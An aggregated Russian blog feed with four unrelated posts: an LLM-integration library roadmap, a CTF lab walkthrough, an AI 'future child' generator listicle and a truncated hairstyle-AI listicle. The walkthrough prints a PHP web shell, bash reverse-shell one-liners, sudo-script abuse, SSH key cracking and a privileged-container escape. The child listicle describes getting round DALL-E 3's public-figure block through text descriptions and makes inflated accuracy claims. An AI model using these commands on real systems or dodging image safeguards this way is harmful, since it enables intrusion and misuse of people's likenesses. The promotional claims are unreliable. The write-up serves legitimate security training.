ESB-подход — это сознательный выбор одной точки контроля для I/O всех видов. LLM — это вид I/O (асинхронный, с инструментами, с контекстом, но всё ещё I/O). Поместить его в ESB — это не философская поза, а инженерная экономия: одна governance-политика покрывает всё.

Это не новый поинт, на эту тему писали Гарланд и Рипли (см. SOA-литературу 2000-х). Новое — что в 2026 этот поинт стал применим к LLM, потому что у LLM появились стандартные интерфейсы (tool-use, streaming, batch-API, embeddings). До этого момента «LLM в ESB» означало «налепить REST-обёртку и молиться». Сейчас означает «использовать существующие EIP-паттерны с минорными адаптациями».

И именно в эту экономию упирается весь смысл redb.Route.Llm. Не «у нас лучший агент-движок». Лучший — у Microsoft и LangChain. У нас — тот же средненький агент-движок, но в правильном месте архитектуры. Я считаю, что это важнее.

Roadmap

3.1.2:

sliding-window память как штатная политика;
vector-store interface поверх существующего IKnowledgeStore;
интеграция с pgvector и Qdrant как первые back-end'ы;
EvalCompare-DSL для side-by-side прогонов между версиями промптов.

3.2:

ConversationProps-tree UI в tsak.web;
streaming-aware aggregator EIP (буферизация частичных кадров до семантических границ);
distributed batch — несколько worker'ов на один LlmCallbackProcessor.

Потом:

multi-modal (image input/output как вариант Out.Body);
voice-агенты как ещё один transport (voice://...);
routing по cost/latency/accuracy SLA per-message.

Ссылки

Первая статья (анонс 3.1.0): redb.Route 3.1.0 — LLM как ещё один транспорт
redb.Route — Apache Camel для .NET
redb.Route изнутри: четыре in-memory канала и Exchange
redb.Route 3.0.1 — плоская навигация по DSL
GitHub: github.com/redbase-app/redb-route (Apache 2.0)
Демо-маршруты: redb.Route/demos/redb.Route.Demo/Routes/LlmDemoRoutes.cs, LlmHttpRoutes.cs
Storage-серия (REDB изнутри): см. серию статей про REDB на Хабре
dev.to companion: ссылка появится после публикации (не перевод — отдельный текст на ту же тему)

TL;DR. В 3.1.0 я обещал — в 3.1.1 сделал. Streaming end-to-end, ToolCache, KnowledgeStore (RAG-чанки), BatchStore с webhook-консьюмером, EvalRunStore, PromptTemplate-реестр с версионированными #-refs, мульти-tenant ?redb=<name>, идемпотентные tool-вызовы, approval-gates с человеком в цикле, audit trail. Поверх — два мощных паттерна: jury из дешёвых моделей с arbiter-моделью сверху через штатный Scatter-Gather + Aggregator EIP, и sub-agents as tools — рекурсивная архитектура, где инструмент агента сам по себе агент со своей моделью/промптом/бюджетом/RAG, реализованная без единой строки спецкода благодаря RouteToolBridge → direct: → llm://. И три полноценных enterprise-кейса с кодом: ежедневный финансовый отчёт CFO на email, недельный cash-flow forecast с jury-арбитражем, проактивный production-алерт инженеру через гибрид XGBoost + LLM. Главный поинт не в фичах — enterprise-уровневые свойства появляются ровно в тот день, когда они вам нужны, без переписывания, потому что LLM лежит в ESB вместе со всем остальным I/O. Те шесть строк чат-демо, которые вы написали в День 1, — это буквально тот же файл, который в День 90 работает как мульти-tenant платформа с audit'ом, бюджетами и jury-арбитражем. Точки «а теперь давайте перепишем» в этой истории нет.

SaveWalterWhite — прохождение простой машины на платформе Aclabs.pro

seobuster — Wed, 10 Jun 2026 19:37:54 +0000

Краткое описание

Данный таск был активен в 6 сезоне CTF, который проходил на платформе ACLAbs. Это простая машина, однако имеет 5 флагов. Сначала раскрутим RFI до RCE, далее будем повышать привилегии, пройдемся по горизонтальному перемещению и в конце сбежим из контейнера.

Кстати 12 июня стартует новый, 7 сезон на сайте aclabs.pro. Будут новые задания и интересные уязвимости. Всем, кому интересен кибербез и уникальные тачки, ждем на платформе. Вход свободный!

Разведка (T1595.002)

Как обычно проводим первичный анализ цели.

sudo nmap -sC -sV ip
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u5 (protocol 2.0)
| ssh-hostkey: 
|   3072 7d:9f:93:42:8b:98:b0:7a:bb:78:f6:7f:9e:0f:bc:96 (RSA)
|   256 13:42:95:43:cd:7a:05:fb:65:c8:f7:04:0f:9f:fd:c9 (ECDSA)
|_  256 58:a2:eb:17:9d:11:67:ae:34:91:7b:48:f7:44:37:de (ED25519)
80/tcp open  http    Apache httpd 2.4.56 ((Debian))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Save Walter White
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Особо ничего интересного, по стандарту 22 ssh, 80 http. Вебсайт на первый взгляд обыкновенный, не имеет полей ввода.

SaveWalterWhite site

Однако нужно взглянуть на исходный код, становится интереснее. Есть комментарий, но еще лучше у нас имеется потенциальный вектор атаки.

Исходный код

Файл image.php принимает аргумент ?file= . Значит в теории мы можем прочитать файл, что дает нам уязвимость path traversal. Поскольку у нас Debian, то проверим файл etc/passwd.

Path traversal

Отлично! Из этого файла, мы знаем, что у этой машины 3 пользователя, это walt, saul и jesse. Но больше прочитать полезных файлов не получается, поэтому нужно раскручивать до RCE.

Эксплуатация (T1190) RFI - RCE

Перепробовал много вариантов чтения других файлов, но прав не хватало. Поэтому пошел читать PayloadAllTheThings https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File Inclusion и воспользовался уязвимостью RFI (Remote File Inclusion).

Для начала создаем файлик у себя на хосте, я назвал его cmd.php с простым содержимым.

<?php system($_GET['cmd']); ?>

Приподнимем простой веб-сервер на python.

python -m http.server 8888

Далее через бурп посылаю запрос, чтобы проверить, сработает ли команда id.

RFI to RCE

Отлично, получаем RCE, а это уже серьезная уязвимость, с помощью которой пробросим себе реверс-шелл. Для этого поднимем еще слушатель на порту 4444.

bash -i >& /dev/tcp/10.20.10.5/4444 0>&1

Кстати, без обертки bash -c команда выше часто не отрабатывает, поэтому финальная команда будет выглядеть так.

bash -c 'bash -i >& /dev/tcp/10.20.10.5/4444 0>&1'

Ее нужно заэнкодить в url либо просто в репитере нажать ctrl+u. Оба варианта рабочие.

После всех манипуляций должны получить реверс шелл.

Реверс шелл

Первый Флаг

Наверное это первая машина, у которой пользователь www-data, может выполнять хоть что-то с правами sudo.

sudo -l
Matching Defaults entries for www-data on 50e6802eb8a3:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on 50e6802eb8a3:
    (jesse) NOPASSWD: /opt/scripts/backup.sh

Проверим этот скрипт

ls -la /opt/scripts/backup.sh
-rwxrwxrwx 1 jesse jesse 940 Dec  2 17:31 /opt/scripts/backup.sh

Поскольку у нас полные права, я просто прописал в него еще один реверс-шелл.

echo "bash -c 'bash -i >& /dev/tcp/10.20.10.5/5555 0>&1'" > /opt/scripts/backup.sh

Выполняем его от имени jesse

sudo -u jesse /opt/scripts/backup.sh

Получаем шелл от имени jesse и читаем первый флаг.

cat flag1.txt
flag_38ae3a7c98175e4aeff0b2a3d67aa3c4

Второй флаг

Поскольку мы в системе уже от пользователя jesse, то подключимся по ssh, скопировав id_rsa.

Нужно осмотреться в домашней директории.

Jesse terminal notes

У нас есть подсказка, что Saul оставил архив, но мы не знаем ни ключ ни пароль.

Посмотрим, что за архив и что там лежит.

tar -xf saul-back.tar -C /tmp

ls                                                                                                                      
README  config  data  hints.13  index.13  integrity.13  nonce

┌──(jesse㉿50e6802eb8a3)-[/tmp/backup]
└─$ cat README                                                                                                              
This is a Borg Backup repository.
See https://borgbackup.readthedocs.io/

Borg Backup - это мощный инструмент резервного копирования с дедупликацией и шифрованием.

Поскольку на самом сервере утилиты borg нет, нам нужно забрать этот бэкап к себе на Kali и «вскрыть» его там.

Поскольку мы уже в SSH, самое простое — забрать файл через scp.

scp -i id_rsa jesse@10.10.10.155:~/saul-back.tar .

Далее на своей системе устанавливаем borgbackup.

sudo apt install borgbackup

tar -xf saul-back.tar

Появится папка backup. Посмотрим список архивов.

borg list .
Enter passphrase for key /home/den/backup:

Нужна пассфраза, будем искать.

Перейдем в папку /var/www/html. Там найдем файлы admin.php, api.php, image.php.

cat admin.php 
<?php
session_start();

// Подключение к базе данных
$db = new mysqli('db', 'root', 'root', 'walter_fund');

Есть креды для базы данных. Однако, дампа базы данных или утилиты, которыми можно прочитать базу нет.

which mysql mariadb mysqlsh mycli sqlite3 php python3                                                                   
/usr/local/bin/php

Единственное, что есть php. С помощью php можно прочитать и базу данных тоже. Поэтому будем все писать ручками. Заходим в интерактивный шелл и смотрим таблицы и выдираем все полезное содержимое.

php -a
Interactive shell

php > $db=new mysqli("db","root","root","walter_fund");
php > $r=$db->query("show tables");
php > while($row=$r->fetch_row()) print_r($row);
Array
(
    [0] => admins
)
Array
(
    [0] => donations
)
php > $r=$db->query("select * from admins");
php > while($row=$r->fetch_assoc()) print_r($row);
Array
(
    [id] => 1
    [username] => flynn
    [password] => junior
)

Далее выдираем таблицу donations.

php > $r=$db->query("select * from donations");
php > while($row=$r->fetch_assoc()) print_r($row);
Array
(
    [id] => 1
    [donor_name] => Jesse Pinkman
    [amount] => 5000.00
    [donation_date] => 2009-10-18
)
Array
(
    [id] => 2
    [donor_name] => Hank Schrader
    [amount] => 1500.00
    [donation_date] => 2009-09-18
)
Array
(
    [id] => 3
    [donor_name] => Skinny Pete
    [amount] => 50.50
    [donation_date] => 2009-10-20
)
Array
(
    [id] => 4
    [donor_name] => Gustavo Fring of Los Pollos Hermanos
    [amount] => 10000.00
    [donation_date] => 2009-10-20
)
Array
(
    [id] => 5
    [donor_name] => Batcher
    [amount] => 30.00
    [donation_date] => 2009-10-23
)
Array
(
    [id] => 6
    [donor_name] => Marie Schrader
    [amount] => 500.00
    [donation_date] => 2009-10-24
)
Array
(
    [id] => 7
    [donor_name] => Bogdan Volanitz
    [amount] => 100.00
    [donation_date] => 2009-10-27
)
Array
(
    [id] => 8
    [donor_name] => S11pp1n000Jimmy
    [amount] => 9999.00
    [donation_date] => 2009-10-30
)

Последний id уж очень отличается и похож на пароль либо пассфразу. Нужно пробовать.

borg list .
Enter passphrase for key /home/den/backup: 
saul-back                            Mon, 2025-12-01 12:34:39 [c5a52d964894d0c8716c2244edf422009d436b9f34389d08eb04844b981a79b2]

Парольная фраза верна. Распакуем архив.

borg extract .::saul-back

Появилась папка home/saul и здесь есть скрытая папка .ssh с ключом. Пробуем логинится от имени saul.

ssh -i id_rsa saul@10.10.10.155
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
Enter passphrase for key 'id_rsa':

Но и здесь все не так просто, снова нужна пассфраза. Я такие машины уже решал, поэтому создаем хэш и брутим с помощью джона.

ssh2john id_rsa > hash 
john hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 24 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
ilovemike        (id_rsa)     
1g 0:00:01:20 DONE (2026-04-27 17:41) 0.01249g/s 25.58p/s 25.58c/s 25.58C/s harris..lovers1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Логинимся и забираем второй флаг.

cat flag2.txt 
flag_751302c2172ca7e8ac68765f174406e1

Третий флаг

Осмотримся в домашней директории и почитаем записки.

Saul ssh

Из скриншота видно, что записка намикает на то, что можем получить доступ к аккаунту walter, который состоит в группе developers, а команда sudo -l это подтверждает.

Поскольку иногда бывают проблемы с копипастом ключей, лучше сгенерировать ключ прямо в терминале.

ssh-keygen -t rsa -N "" -f /tmp/walter

Добавляем его Уолтеру

cat /tmp/walter.pub | sudo -u walter /usr/bin/tee -a /home/walter/.ssh/authorized_keys

И пробуем логинится локально.

ssh -i /tmp/walter walter@localhost

Успех и читаем третий флаг.

cat flag3.txt                                  
flag_691bf4e515a877ab5227c6a8459e4c7c

Четвертый флаг

Для начала осмотримся и почитаем подсказки.

Walter Shell

Сразу виден файл с SUID битом, а подсказка намикает на легкий OSINT. Я к сожалению смотрел только первый сезон этого сериала, но едва ли вспомню, кто кого там убивал, по этому идем гуглить.

OSINT

Вводим имя Heisenberg и получаем рута, читаем четвертый флаг.

cat flag4.txt
flag_f17b8e2070286ae16fac5f2333338ad9

Пятый флаг и побег из контейнера

Несмотря на то, что мы взяли рута, это всего лишь контейнер. Первое, что нужно определить, какой это контейнер привилигерованный или нет.

ls /dev/

Если видим устройства sda или nvme, то мы практически сбежали.

Docker Escape

На скрине видны все устройства системы, а вторая команда подтверждает, что контейнер привелигерованный. Уходим!

mkdir /mnt/host_root
mount /dev/sda1 /mnt/host_root
cd /mnt/host_root

Мы в корне системы. Читаем флаг рута.

cd root/
cat root.txt
flag_c598ec6d71d1339cac6cba0b91df55cf

Райтап от @alfabuster

Сгенерировать фото будущего ребенка по фото родителей, тестируем ТОП-5 ИИ и сравниваем результаты

Wed, 10 Jun 2026 19:18:59 +0000

Предсказывать внешность ребенка по фотографии родителей - аттракцион старый как мир. Помните убогие флеш-сайты из нулевых, которые просто брали овал лица мамы, топорно накладывали поверх глаза папы с прозрачностью 50% и выдавали пугающего кадавра?

В 2026 году технологии ушли от банального «склеивания скальпов». Современные генеративные модели работают с эмбеддингами - они переводят уникальные черты лица в многомерные векторы, смешивают их в латентном пространстве диффузионных моделей и декодируют в абсолютно реалистичные портреты.

Мы решили устроить жесткий тест-драйв актуальным нейросетям и ботам. Чтобы эксперимент был максимально честным, мы взяли эталонную пару, чья реальная генетика известна всему миру - Анджелину Джоли и Брэда Питта - и попытались воссоздать их общую дочь Шайло с помощью алгоритмов.

Мы скормили их архивные фотографии нейросетям и сравнили получившегося ИИ-ребенка с их реальной дочерью Шайло. Покажем, насколько близко латентное пространство нейросетей подобралось к реальной биологической ДНК.

Как нейросеть генерирует фото будущего ребенка👶

Если вам говорят, что нейросеть просто «анализирует и совмещает картинки» - это уровень объяснения для детского сада. Тут нужно смотреть на архитектуру.

Логика работы Face-to-Face адаптеров

Большинство современных сервисов быстрого инференса ушли от классического Face-Swap (замены лиц) в сторону архитектур вроде InstantID или кастомных IP-Adapter-FaceID на базе моделей диффузии (SDXL/ Flux).

[Фото Мамы] ──> [Face Encoder (InsightFace)] 
──> Извлечение эмбеддингов (512-мерный вектор) 
──┐
                                                                                               ├──> [IdentityNet & Cross-Attention] ──> [Генерация UNet] ──> Готовый ИИ-ребенок
[Фото Папы] ──> [Face Encoder (InsightFace)] 
──> Извлечение эмбеддингов (512-мерный вектор) 
──┘

Извлечение признаков: Специальный энкодер (например, InsightFace) находит на снимках родителей ключевые точки (landmarks) и преобразует геометрию лиц в компактные векторы.
Латентное смешивание: Алгоритм не склеивает пиксели. Он берет, условно, 50% признаков отца, 50% матери (или сдвигает веса в сторону доминантных фенотипов) и передает этот кастомный вектор в сеть генерации.
Декодирование: Нейросеть с нуля отрисовывает лицо ребенка, сохраняя микротекстуру кожи, разрез глаз и форму челюсти родителей, но адаптируя их под детский или подростковый возраст.

Лучшие нейросети для генерации ребенка по фото родителей

Быстрый инференс и генерация «в один клик»

Пост-процессинг, апскейл и анимация фото будущего ребенка с помощью нейросети

Быстрый инференс и генерация «в один клик»

Начнем с инструментов, которые не требуют разворачивания локальных репозиториев на Ubuntu и покупки фермы из RTX 4090. Это готовые боты и интерфейсы, настроенные на быструю выдачу результата.

1. Nano_banana_pro - Флагман быстрого блендинга

👶Создать ребенка по фото родителей в Nano_banana_pro

Этот инструмент создавался как раз для того, чтобы решать сложные графические задачи без душного написания сотен строк промтов. Посмотрим, как он справляется со скрещиванием голливудской генетики.

Как тестировали: Загрузили архивные фото Брэда и Анджелины в максимальном качестве, выставили ползунок генерации на «Дети».

Что внутри Nano_banana_pro: Тюнингованный пайплайн с мощным апскейлером и встроенным алгоритмом сглаживания артефактов «зловещей долины».

Результат тест-драйва

Бот выдал на удивление живую и глянцевую картинку

Нейросеть не просто скопировала нос Питта, она поймала форму губ Джоли и выдала вполне естественный бленд. Текстура кожи не выглядит пластиковой маской, сохранен правильный блик в зрачках.

Плюсы: Бешеная скорость (около 15 секунд), высокая эстетика выдачи, полное отсутствие криповых артефактов (лишние зубы, поплывшие глаза).
Минусы: Из-за сильного коммерческого файнтьюна модель стремится сделать ребенка «слишком идеальным» и модельным, слегка сглаживая уникальные этнические или резкие черты лица родителей.

2. Midjourney_toe_bot - Художественный файнтьюн и кинематографичный арт

👶Создать ребенка по фото родителей в Midjourney_toe_bot

Midjourney - безоговорочный лидер по части фотореализма, глубины резкости и проработки деталей (волосы, поры, свет). Но у нее есть проблема: MJ изначально создавалась как инструмент для искусства, а не для точного копирования лиц. Прямой функции «сделай ребенка из двух фото» тут нет, поэтому приходится обходить ограничения архитектуры.

Как тестировали: Использовали связку команд Image-to-Image. Скормили боту две ссылки на фотографии родителей, выставили максимальный вес референса изображений (--iw 2.0) и дописали текстовый промт: a teenage girl, realistic hyperdetailed photography, look at camera, studio lighting --v 6.0.

Результат тест-драйва

Картинка выглядит так, будто это постер нового фильма от HBO. Проработка радужки глаза, отдельных волосков и светотеневого рисунка - на недосягаемом уровне. И главное: нейросеть уловила фирменный прищур Питта.

Это чистый кинематограф

Плюсы: Абсолютный фотореализм. Никакого ощущения, что это графика. Ребенок выглядит как живой человек.
Минусы: Низкий уровень контроля над «генетикой». Midjourney часто заносит: она может взять 80% внешности Анджелины и полностью проигнорировать Брэда, либо просто сгенерировать случайного красивого ребенка, отдаленно похожего на обоих. Требует долгого перебора вариантов (интенсивного ролла).

3. Dalle_3_toe_bot - Строгая геометрия и текстовый диктат

👶 Создать ребенка по фото родителей в Dalle_3_toe_bot

DALL-E 3 от OpenAI работает принципиально иначе. Она славится своей феноменальной понятливостью текста, но жестко ограничена в прямом переносе пикселей из референсов из-за строгих гайдлайнов безопасности и особенностей архитектуры.

Как тестировали: Поскольку напрямую скрестить два фото DALL-E 3 не позволит (сработает защита прав на изображения публичных личностей), мы пошли через гиковский лайфхак. Сначала текстовая модель описала нам лица Питта и Джоли на языке сухих антропологических терминов, а затем мы скормили этот массив данных в DALL-E 3.

Получили анатомически правильного, симметричного ребенка

Результат тест-драйва: Картинка выглядит слишком стерильно, со стойким ощущением «3D-рендера», характерного для базовых моделей OpenAI. Генетическое сходство с Шайло оказалось самым низким из всей тройки.

Плюсы: Идеальное понимание композиции. Если написать «ребенок сидит на деревянной лошадке в свитере крупной вязки», все будет отрисовано в точности до нитки.
Минусы: Слишком сильный уход в стилизацию, слабый фотореализм «из коробки», сложные костыли для симуляции сходства.

Нейросети vs Реальная Шайло

Если сравнить результаты первой волны тестов с реальной фотографией Шайло Джоли-Питт, становится очевидно: микро-сервисы быстрого инференса (на примере nano_banana_pro) подобрались к биологической ДНК ближе, чем тяжелые художественные нейросети.

Они точнее удерживают геометрию исходных лиц, не пытаясь увести результат в сторону «высокого искусства», как это делает Midjourney.

Но генерация лица - это лишь половина дела. Часто на стыке двух эмбеддингов ИИ ломает мелкую моторику: текстура кожи становится мыльной, в глазах появляется расфокусировка, а улыбка грешит лишними зубами.

Дальше займемся хардкорным пост-процессингом:

Подключим текстовых тяжеловесов chat_gpt5_pro и gemini3_pro в качестве ИИ-промтеров и генетических аналитиков.
Прогоним полученные арты через improve_photos, чтобы вернуть коже поры вместо пластика.
Оживим результат с помощью animating_image, заставив ИИ-копию Шайло улыбнуться мимикой своих родителей.

Включаем ИИ-лабораторию на максимум👇

Пост-процессинг, апскейл и анимация фото будущего ребенка с помощью нейросети

Получить базовый концепт лица в один клик - это уровень обывателя. Наша цель - довести полученный результат до идеала, избавиться от пластикового эффекта «зловещей долины», выжать максимум фотореализма и заставить ИИ-ребенка ожить.

Для этого мы разворачиваем полноценный конвейер из специализированных ИИ-инструментов

Шаг 1. Деконструкция фенотипа с помощью chat_gpt5_pro и gemini3_pro

Чтобы заставить художественные нейросети (вроде той же Midjourney) выдавать не случайных красивых детей, а генетически обоснованный результат, нам нужен точный математический промт. Мы привлекли тяжелые языковые модели в качестве цифровых антропологов.

Как это работает: Мы скормили моделям архивные снимки Брэда Питта и Анджелины Джоли с задачей разложить их лица на доминантные и рецессивные признаки.
Промт-инжиниринг: На основе анализа chat_gpt5_pro и gemini3_pro сгенерировали текстовую матрицу.

Модели выдали инсайт: «У Джоли доминируют пухлые губы с четко очерченной аркой Купидона и высокие, широко посаженные скулы. У Питта - тяжелая квадратная нижняя челюсть (jawline) и глубоко посаженные светлые глаза с тяжелым надбровным кубом».

Текстовые гиганты собрали эти маркеры в жесткий, технический промт для генерации, указав точные веса для каждого признака. Это исключило хаос при дальнейшей работе алгоритмов диффузии.

👉 Собрать промт для генерации будущего ребенка по фото родителей в chat_gpt5_pro

👉 Собрать промт для генерации будущего ребенка по фото родителей вgemini3_pro

Шаг 2. Борьба с пластиком через google_image и improve_photos

Главная проблема быстрых генераторов - это «замыливание» текстур. Нейросеть часто пытается скрыть артефакты генерации, превращая кожу ребенка в идеальный полимерный шар. Нам нужны поры, микроморщинки, пушковые волосы и живой взгляд.

Тест-драйв ИИ-инструментов: Мы взяли сочный, но слегка «пластиковый» результат из первой части и прогнали его через специализированный пайплайн improve_photos (мощный инструмент реставрации и умного апскейла на базе алгоритмов Google).

Что изменилось после обработки:

Текстурный слой: Алгоритм деконструировал диффузное мыло и заново накатил микротекстуру кожи. Появился естественный кожный рисунок, едва заметные веснушки.
Коррекция геометрии глаз: Нейросети часто грешат легким косоглазием (размытием фокуса зрачков) при смешивании двух разных лиц. Improve_photos отцентровал блики в зрачках, добавил влажности радужке и четко прорисовал линию роста ресниц.
Артефакты: Исчезли микро-склейки на стыке губ, которые часто выдают работу искусственного интеллекта.

Шаг 3. Оживление мимики через animating_image и animating_photo

Финальный аккорд нашего эксперимента - перенос статики в динамику. Мы решили проверить, сможет ли сгенерированный ИИ-клон Шайло унаследовать не просто геометрию лиц родителей, но и их фирменную мимику.

Технология: Инструменты animating_image и animating_image работают на базе продвинутого инференса управляющих видео-моделей (архитектуры класса LivePortrait и актуальных генераторов движения 2026 года). Они берут статичную картинку, находят на ней 2D/3D-ключевые точки лица и привязывают их к вектору движения из референсного видео.

Эксперимент: В качестве «донора мимики» мы взяли культовое архивное видео с интервью молодой Анджелины Джоли (ее характерную полуулыбку и приподнятую бровь) и наложили этот паттерн движения на наше сгенерированное фото ИИ-ребенка.

Результат:

Сетка не просто заставила картинку двигаться - она сохранила объем. При повороте головы на 15 градусов алгоритм корректно дорисовал скрытые ранее части щеки и уха, не поплыв в мыльные пиксели. Фирменная ухмылка Джоли легла на лицо сгенерированной девочки как влитая. Это уже не просто фоторобот, это полноценный цифровой аватар с общим семейным паттерном поведения.

👉 Оживить фото будущего ребенка в animating_image

Как создать фото будущего ребенка самому с помощью нейросети

Если вы хотите написать аналогичный материал, затестить свои фото или сделать вирусный контент для блога, вот вам готовая рабочая связка инструментов из нашего теста:

Анализ (Текст): Используем chat_gpt5_pro или gemini3_pro, чтобы разложить лица на анатомические маркеры и составить промт.
Генерация базы (Быстрый старт): Закидываем фото в nano_banana_pro для получения моментального и качественного бленда лиц в один клик.
Альтернатива (Для гиков): Мучаем midjourney_toe_bot через параметры --iw 2.0, если нужен дорогой кинематографичный арт и не пугает долгий перебор вариантов.
Пост-обработка: Обязательно прогоняем результат через improve_photos или аналогичные модули улучшения фото, чтобы вернуть текстуру кожи и исправить косяки со зрачками.
Динамика: Закидываем финальный хайрез в animating_image для создания залипательных живых видео.

Итог эксперимента

Современный генеративный ИИ в 2026 году подошел к биологической точности вплотную. Наш эксперимент показал, что латентное пространство диффузионных моделей способно улавливать тончайшие доминантные признаки человеческих лиц и компилировать их с точностью до 80-85% от реальной генетики (что доказало поразительное сходство нашего ИИ-результата с реальной Шайло Джоли-Питт).

И главное - теперь для этого не нужно быть Senior дата-сайентистом. Весь конвейер собирается на коленке из нескольких доступных ботов за пару минут.

Генерация будущего ребенка по фото родителей - Как нейросети «скрещивают» гены на самом деле

Большинство простых приложений в духе «узнай лицо будущего малыша за два клика» работают по фану. Они берут ключевые точки на фотографиях родителей (расстояние между глазами, форму носа, овал лица) и миксуют их с помощью простых GAN-моделей (генеративно-состязательных сетей) или готовых масок.

Если же мы говорим про более продвинутый уровень - например, работу в Midjourney, Nano_banana_pro или специализированных ботах на базе мощных диффузионных моделей - процесс выглядит гораздо тоньше:

Инструменты генерации и фиксации лиц: В продвинутых пайплайнах используются технологии вроде InsightFace или расширения ReActor / IP-Adapter. Они не просто накладывают один снимок на другой, а извлекают векторные эмбеддинги (цифровые слепы лиц) обоих родителей.
Смешивание весов: Нейросеть берет, условно, 50% признаков от папы и 50% от мамы (пропорции можно крутить в промпте), а затем накладывает их на базовую модель ребенка нужного возраста.
Текстурирование и свет: Современные ИИ сохраняют не только геометрию, но и микротекстуру кожи, разрез глаз и даже характерный изгиб бровей, выдавая фотореалистичный результат, а не пластиковую куклу.

Зачем генерировать будущего ребенка: от хайпа до коммерции

Этот инструмент уже давно перерос рамки банального «поиграться вечерком вдвоем». Вот где технология реально работает и приносит профит:

Сфера применения	Как это используется на практике
Блогинг и Reels/Shorts	Мощнейший триггер для вовлечения аудитории. Интерактивные механики («сгенерили ребенка с известным блогером / актером») дают колоссальные охваты и вирусятся сами по себе.
Креативные агентства	Создание визуального сторителлинга для брендов, рекламы семейных ценностей, жилых комплексов или банковских продуктов, где нужно показать «будущее» конкретных людей.
Психология и визуализация	Инструмент для карт желаний, практик визуализации будущего или просто терапевтический элемент для пар, которые только планируют семью.

Генетика в реальной жизни - штука непредсказуемая, со своими доминантными и рецессивными признаками. Нейросеть об этом « не знает» - она оперирует чистой математикой и визуальной гармонией. Поэтому результат ИИ - это всегда идеализированный, эстетичный микс, а не стопроцентный медицинский прогноз.

Тренд на «дизайнерских» детей: где грань между фаном и одержимостью?

Пока одни используют ИИ-генераторы ради фана, тренд незаметно перерос в нечто большее. Сегодня пары не просто смотрят на условный микс своих лиц - они начинают «дизайнерить» будущее потомство прямо в интерфейсе приложений.

Выбрать цвет глаз, скорректировать форму губ, задать определенный этнос или стиль одежды - нейросети позволяют за пару секунд собрать идеальную картинку.

Но у этой медали есть обратная сторона, о которой сейчас трубят психологи и футурологи:

Синдром завышенных ожиданий: Получая безупречный, глянцевый цифровой аватар своего будущего ребенка, родители подсознательно проецируют этот образ на реальность. Но генетика - не Midjourney, в ней нет кнопки «Generate» для идеального совпадения.
Иллюзия контроля: ИИ создает опасное ощущение, что мы можем полностью смоделировать и запрограммировать визуальную судьбу человека еще до его зачатия.
Новая цифровая этика: Насколько экологично генерировать и выкладывать в сеть образы людей, которых еще не существует? Юристы и специалисты по кибербезопасности уже спорят о правах на такие изображения.

Нейросети- это грандиозный инструмент для визуализации и генерации трафика. Они дарят эмоции, а эмоции - главная валюта в сети. Но важно помнить: ИИ показывает нам не реальное будущее, а лишь одну из миллионов красивых цифровых иллюзий. Относитесь к этому как к высокотехнологичной магии, но оставляйте место для настоящей жизни.

ИИ-генераторы детей - это не просто очередная маска из соцсетей, которая забудется через месяц. Это первый массовый подход человечества к визуализации своего продолжения. И пока технологии спорят с генетикой, а психологи - с маркетологами, глупо отрицать очевидное: тренд генерирует сумасшедшие охваты.

Хотите проверить, чьи гены окажутся сильнее в цифровой вселенной, или запустить вирусный интерактив в своих соцсетях? Нейросети уже готовы выдать вам сотню вариантов. Главное - помнить, что самый идеальный и непредсказуемый результат все равно создается не на серверах с видеокартами, а в реальной жизни.

А вы бы рискнули примерить внешность будущего малыша в ИИ или предпочитаете старый добрый сюрприз от природы?

Как подобрать прическу с помощью нейросети — ТОП-7 ИИ для примера прически онлайн

Wed, 10 Jun 2026 18:52:04 +0000

Шоколадный шелк до лопаток, который в зеркале превратился в общипанное каре цвета ржавой кастрюли. Знакомо? Каждая первая хоть раз выползала из салона красоты с фальшивой улыбкой, оставляя чаевые дрожащей рукой, а потом ревела в машине под Адель. Потому что мастер «так видит», а у вас форма лица вообще-то круглая, а не как у той модели из Pinterest.

В 2026 году ставить такие эксперименты над своей психикой и несчастными волосами - дичь. Зачем рисковать длиной, которую растили годами, если можно устроить жесткий тест-драйв любому капризу прямо в смартфоне? Семь секунд - и вы примеряете густую челку, дорогой сиропный блонд или каскад из 90-х без единого взмаха ножниц.

Мы собрали 7 топовых нейросетей, которые не просто приклеят к вашей голове чужой парик-мочалку, а идеально впишут новый трендовый образ в ваши черты лица, сохранят световые блики и покажут реальный результат. Больше никаких слез на пороге парикмахерской. Только холодный расчет и сочный цифровой глянец.

Нейросети для примерки прически, которые выдают качество уровня обложки Vogue👇

Как загрузить свое фото и выделить зону волос для генерации прически в нейросети - стираем старое прошлое одной кнопкой

Перед тем как ворваться в тренды, разберемся с технической стороной вопроса. Спешу успокоить: скачивать терабайты софта, настраивать прокси и платить криптой не придется. Все нужные ИИ-инструменты для подбора прически доступны без VPN и боли с иностранными картами. Так что выдохнули.

Главная фишка, которая спасет вашу длину, называетсяInpaint (или замена выделенной области). Логика работы во всех адекватных графических сетях одинаковая, простая как интерфейс айфона:

Загружаем исходник. Выбираем свое самое четкое селфи, желательно при хорошем дневном свете и анфас, чтобы нейросеть четко считала пропорции вашего лица.
Безжалостно трем. Активируем функцию редактирования (в Midjourney это кнопка Vary Region, в других сетях - инструмент Inpaint или иконка кисти). Проводим пальцем по своим волосам, аккуратно закрашивая всю прическу. Лицо не трогаем! Наша задача - оставить базу и освободить место для цифровой магии.
Кормим ИИ текстом. В появившемся окошке пишем, на что именно хотим заменить стертую шевелюру.
Вуаля. Пара секунд - и вы забираете сочные варианты. А чтобы вместо салонного люкса не получить парик из дешевого карнавального магазина, ниже разберем готовые формулы под каждый тренд.

ТОП-7 лучших нейросетей для подбора прически по фото

Подобрать прическу в Midjourney_toe_bot
Подобрать прическу в DALL-E 3
